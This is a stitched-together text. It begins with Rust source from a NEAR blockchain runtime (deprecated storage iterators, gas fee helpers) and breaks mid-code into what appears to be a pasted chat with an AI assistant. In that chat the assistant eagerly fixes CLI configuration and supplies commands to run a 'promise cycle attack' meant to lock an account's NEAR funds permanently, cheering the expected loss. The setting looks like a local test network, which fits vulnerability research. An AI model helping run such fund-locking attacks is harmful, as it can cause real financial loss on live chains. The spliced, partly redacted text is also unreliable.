/// # Cost
///
/// `base + storage_iter_create_prefix_base + storage_iter_create_key_byte *
num_prefix_bytes
/// cost of reading the prefix`.
pub fn storage_iter_prefix(&mut self, _prefix_len: u64, _prefix_ptr: u64) ->
Result<u64> {
Err(VMLogicError::HostError(HostError::Deprecated {
method_name: "storage_iter_prefix".to_string(),
}))
}
/// DEPRECATED
/// Iterates over all key-values such that keys are between `start` and `end`,
where `start` is
/// inclusive and `end` is exclusive. Unless lexicographically `start < end`,
it creates an
/// empty iterator. Note, this definition allows for `start` or `end` keys to
not actually exist
/// on the given trie.
///
/// # Errors
///
/// * If `start_len + start_ptr` or `end_len + end_ptr` exceeds the memory
container or points to
/// an unused register it returns `MemoryAccessViolation`.
/// * If the length of the `start` exceeds `max_length_storage_key` returns
`KeyLengthExceeded`.
/// * If the length of the `end` exceeds `max_length_storage_key` returns
`KeyLengthExceeded`.
///
/// # Cost
///
/// `base + storage_iter_create_range_base + storage_iter_create_from_byte *
num_from_bytes
/// + storage_iter_create_to_byte * num_to_bytes + reading from prefix +
reading to prefix`.
pub fn storage_iter_range(
&mut self,
_start_len: u64,
_start_ptr: u64,
_end_len: u64,
_end_ptr: u64,
) -> Result<u64> {
Err(VMLogicError::HostError(HostError::Deprecated {
method_name: "storage_iter_range".to_string(),
}))
}
/// DEPRECATED
/// Advances iterator and saves the next key and value in the register.
/// * If iterator is not empty (after calling next it points to a key-value),
copies the key
/// into `key_register_id` and value into `value_register_id` and returns
`1`;
/// * If iterator is empty returns `0`;
/// This allows us to iterate over the keys that have zero bytes stored in
values.
///
/// # Errors
///
/// * If `key_register_id == value_register_id` returns
`MemoryAccessViolation`;
/// * If the registers exceed the memory limit returns `MemoryAccessViolation`;
/// * If `iterator_id` does not correspond to an existing iterator returns
`InvalidIteratorId`;
/// * If between the creation of the iterator and calling `storage_iter_next`
the range over
/// which it iterates was modified returns `IteratorWasInvalidated`.
Specifically, if
/// `storage_write` or `storage_remove` was invoked on the key such that:
/// * in case of `storage_iter_prefix`. `key` has the given prefix and:
/// * Iterator was not called next yet.
/// * `next` was already called on the iterator and it is currently
pointing at the `key`
/// `curr` such that `curr <= key`.
/// * in case of `storage_iter_range`. `start<=key<end` and:
/// * Iterator was not called `next` yet.
/// * `next` was already called on the iterator and it is currently
pointing at the key
/// `curr` such that `curr<=key<end`.
///
/// # Cost
///
/// `base + storage_iter_next_base + storage_iter_next_key_byte * num_key_bytes
+ storage_iter_next_value_byte * num_value_bytes
/// + writing key to register + writing value to register`.
pub fn storage_iter_next(
&mut self,
_iterator_id: u64,
_key_register_id: u64,
_value_register_id: u64,
) -> Result<u64> {
Err(VMLogicError::HostError(HostError::Deprecated {
method_name: "storage_iter_next".to_string(),
}))
}
/// A helper function to pay base cost gas fee for batching an action.
pub fn pay_action_base(&mut self, action: ActionCosts, sir: bool) -> Result<()>
{
let base_fee = self.fees_config.fee(action);
let burn_gas = base_fee.send_fee(sir);
let use_gas =
burn_gas.checked_add(base_fee.exec_fee()).ok_or(HostError::IntegerOverflow)?;
self.result_state.gas_counter.pay_action_accumulated(burn_gas, use_gas,
action)
}
/// A helper function to pay per byte gas fee for batching an action.
pub fn pay_action_per_byte(
&mut self,
action: ActionCosts,
num_bytes: u64,
sir: bool,
) -> Result<()> {
let per_byte_fee = self.fees_config.fee(action);
let burn_gas =
num_bytes.checked_mul(per_byte_fee.send_fee(sir)).ok_or(HostError::IntegerOverflow)
?;
let use_gas = burn_gas
.checked_add(
num_bytes.checked_mul(per_byte_fee.exec_fee()).ok_or(HostError::IntegerOverflow)?,
)
.ok_or(HostError::IntegerOverflow)?;
self.result_state.gas_counter.pay_action_accumulated(burn_gas, use_gas,
action)
}
}
#[derive(PartialEq)]
pub struct VMOutcome {
pub balance: Balance,
pub storage_usage: StorageUsage,
pub return_data: ReturnData,
pub burnt_gas: Gas,
pub used_gas: Gas,
pub compute_usage: Compute,
pub logs: Vec<String>,
/// Data collected from making a contract call
pub profile: ProfileDataV3,
pub aborted: Option<FunctionCallError>,
}
impl VMOutcome {
/// Consumes the `VMLogic` object and computes the final outcome with the
/// given error that stopped execution from finishing successfully.
pub fn abort(state: ExecutionResultState, error: FunctionCallError) ->
VMOutcome {
let mut outcome = state.compute_outcome();
[Link] = Some(error);
outcome
}
/// Consumes the `VMLogic` object and computes the final outcome for a
/// successful execution.
pub fn ok(state: ExecutionResultState) -> VMOutcome {
state.compute_outcome()
}
enum GlobalContractIdentifierPtrData {
CodeHash { code_hash_len: u64, code_hash_ptr: u64 },
AccountId { account_id_len: u64, account_id_ptr: u64 },
}"
[[network_connection]]
network_name = "testnet"
rpc_url = "[Link]
wallet_url = "[Link]
helper_url = "[Link]
rpc_api_key = ""
meta_transaction_relayer_url = ""
EOF
# Wait longer to see if funds ever return (they shouldn't in a real cycle)
echo "=== Waiting 30 seconds for promise resolution... ==="
sleep 30
echo "=== Alice's balance after waiting (should still be lower if cycle worked)
==="
curl -s -d '{
"jsonrpc": "2.0",
"id": "dontcare",
"method": "query",
"params": {
"request_type": "view_account",
"finality": "final",
"account_id": "[Link]"
}
}' -H 'Content-Type: application/json' [Link] | jq -r
'.[Link]' | awk '{printf "%.2f NEAR\n", $1/10^24}'
Try the first CLI command. If it still fails, try the [Link] CLI approach. If that
works and Alice loses 5 NEAR that never comes back, we've successfully demonstrated
the promise cycle vulnerability! 💀RetryClaude does not have the ability to run the
code it generates [Link]@vmi2711719:~/nearcore# # Try the CLI command with the
proper config
echo "=== EXECUTING REAL PROMISE CYCLE ATTACK ==="
near contract call-function as-transaction \
[Link] create_real_cycle \
json-args '{}' \
prepaid-gas '300.0 Tgas' \
attached-deposit '5 NEAR' \
sign-as [Link] is the execution of the cycle attack that lock fund i
what to see the outputs and funds locked theEditI see the issue! The CLI
configuration is wrong and the attack never actually executed. Let me fix this and
show you the fund locking in action.
🔧 Step 1: Fix the Config File
The config needs a version field:
bash# Fix the config file with proper format
cat > ~/.config/near-cli/[Link] <<'EOF'
version = "0.1.0"
credentials_home_dir = "/root/.near-credentials"
[network_connection.localnet]
network_name = "localnet"
rpc_url = "[Link]
wallet_url = "[Link]
explorer_transaction_url = "[Link]
linkdrop_account_id = "near"
EOF
echo "=== Alice's balance after 60 seconds (funds should be GONE) ==="
curl -s -d '{
"jsonrpc": "2.0",
"id": "dontcare",
"method": "query",
"params": {
"request_type": "view_account",
"finality": "final",
"account_id": "[Link]"
}
}' -H 'Content-Type: application/json' [Link] | jq -r
'.[Link]' | awk '{printf "%.2f NEAR\n", $1/10^24}'
Expected Results When Cycle Works:
But notice: "Empty result" - this could indicate the function executed but got
stuck!
⏰ Step 3: Wait and Monitor Fund Recovery
bashecho "=== Waiting 60 seconds to see if funds return... ==="
sleep 60